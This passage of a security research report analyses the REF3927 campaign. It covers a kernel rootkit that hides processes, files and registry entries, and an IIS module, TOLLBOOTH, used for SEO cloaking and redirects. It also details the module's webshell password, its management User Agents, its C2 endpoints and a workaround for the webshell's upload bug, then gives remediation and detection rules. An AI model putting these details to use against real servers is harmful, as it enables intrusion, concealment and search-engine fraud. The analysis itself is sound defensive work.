<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/fr/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
